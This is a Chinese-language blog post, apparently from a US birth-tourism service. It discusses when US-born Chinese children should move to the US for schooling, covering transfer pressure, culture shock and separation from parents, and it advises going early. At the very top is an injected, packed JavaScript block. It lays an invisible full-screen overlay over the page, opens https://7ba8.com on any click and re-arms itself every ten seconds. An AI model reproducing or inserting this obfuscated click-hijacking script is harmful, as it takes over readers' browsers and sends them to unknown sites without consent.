<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>懒惰的许老师，今天又要开始写篇博文了。今天博文的论题就是宝宝在什么时候是最适宜前往美国读书的，很多的妈妈每个人都有自己的看法。基本是分为几类,一类是：从小就在美读书 二类：国内读一段时间，然后前往美国读书，基本上都是在上高中的时候前往 三类：在美读幼儿园，回到国内，然后再前往美国读书。也不排除一些美宝一直待在国内的，但是这类宝宝不在我们今天的讨论范围之类，我们就不多说什么了！
许老师看到了一篇关于该论题的博文，有一个很好的形容，出国升学，就好像是一个大蛋糕，你不知是什么时候去吃，不知道从哪下口。很多的妈妈都是又困惑的。今天许老师也是参考了很多的长期在美学者的文章作为谈论依据。
首先，孩子们来到美国学习，上课，生活，会遇到什么样的压力，基本上有以下几点！（对于美宝在国内上学，再前往美国的）
第一，转学的压力
美国中小学比国内学校管理相对自由，每个学校的教学质量并不是一刀切的。水往低处流很容易，但想引水上山就比较难。即使是美国土生土长的孩子，转学对于他们来说，也是一个不小的挑战。
我以我家为例说明一下这个问题。三年前，我们从教学质量中等的美国中部，转到竞争激烈的美国东部以后，我的孩子们直到现在还在追赶功课中挣扎着。同样的道理，也适用于从国内转到美国来读书的中国孩子们。中国孩子来美国最大的障碍是语言，语言不过关，又聋又哑的滋味确实不好受。
昨天我读到一篇美国总统奥巴马于本月15日在宾夕法尼亚州一所学校的迎接学生返校的典礼上发言，他鼓励美国学生要胸怀大志，在将来不能被中国和印度的学生比下去。经美国总统这么振臂一呼，美国学生对中国学生的防范已经公开化。中国孩子想在美国出类拔萃，头上又多了一个沉重的砝码。
除了功课的压力，转学给孩子们带来的心灵震憾也不容忽视。尤其是美国富人区的学校，美国孩子自成小帮派小团体，外来的和尚根本就没有机会杀进这个圈子念经。那份孤独，让孩子独饮，是不是有点儿残酷？一位从日本转到美国高中的中国孩子，因为语言和社教能力有限，无法和美国同学打成一片，课后经常把自己关在家里，愁坏了这孩子的母亲。
第二，文化的压力
国内虽然一直在搞独生子女政策，但国内文化大环境的突出特色是热闹。即使孩子们是在羊肠小道上赛跑，也是那种人挤人的热闹。而美国呢，不仅竞争是无声的，竞争的环境也基本是无声的，美国文化环境的突出特色是安静。从热闹到安静，对于一个未成年的孩子还说，这和从陆地到高山缺氧区的感觉差不多。什么滋味呢？窒息。
写到这里，我不禁想起我刚来美国时的窒息感。当时，我已经读了中国的大学，甚至怀里还揣着结婚证。即使是成年的我，初来异乡时，也很难适应刚来美国时的那种窒息感。这种感觉被人们冠以美名，被称作文化休克。大人文化休克了可以忍，那孩子休克了该怎么办呢？尤其是父母不在身边的孩子们，该怎样熬过这样的休克期呢？是夜夜不眠上网聊天儿，还是靠疯狂购物来解闷？这些生活细节，远在国内的大人们是根本看不到的。
第三，亲情的剥离
即使孩子长得比父母还高，但孩子终归是孩子。孩子的内心世界，肯定不会因为出国就来了个从孙子到爷爷的突变。是孩子，就有孩子的渴求，孩子的渴求就是父母点点滴滴的关爱。没妈的孩子像根草，飘在异国它乡的孩子，就是一颗孤独的小草。
仔细想想，每个孩子的成长基本离不开两大方面，那就是智商和情商的成长。让孩子出国留学，也许会磨炼孩子的智商，但孩子情商的成长，离不开父母的亲自引导。在美国，我常常听小留学生们互相指责，那谁谁谁，怎么那么不懂事呢？不懂事，其实就是情商不够。过早把孩子送出家门，亲子之间便失去了紧密的情商教育。因为及时改正孩子的坏毛病，就是父母对子女情商教育的具体表现。
上述几点是来自于一位博士，学者，也是三位孩子的妈妈，长期居住在美国的一位老师，她的观点，这个三点是对于基本的赴美留学的孩子们的。但是对于那些赴美生子的宝宝们，对于他们而言，我想这些方面又多了一些别样的色彩。爸爸妈妈们将孩子生在美国，孩子们前往美国读书，上述三点都是需要面对的，但是对于美籍宝宝自己也许是家庭移民的催化剂和先锋军！
最后需要解答的就是孩子什么时候来到美国读书最适合，对于赴美生子的妈妈们来说，许老师的建议是越早越好，但是需要根据每个家庭的条件去选择，美籍宝宝的初衷就是以后能够在美国生活，居住，等等，而小的时候能够早的前往美国也是让宝宝能够融入美国大的环境的助力器，所以许老师的建议是越早越好！但是每一个家庭也不能盲目，有的妈妈选择的是等到孩子上完初中的时候前往美国，这些都是可以的，但是想想虽然是美籍宝宝，在国内生活了这么久，能不能很快的适应呢？这些都是问题，而对于那些从小到大都是在美升学的宝宝就不存在这个问题了，每一个家庭都要根据自己的家庭的规划作出选择！只要是适合自己的就是最好的！ |
收藏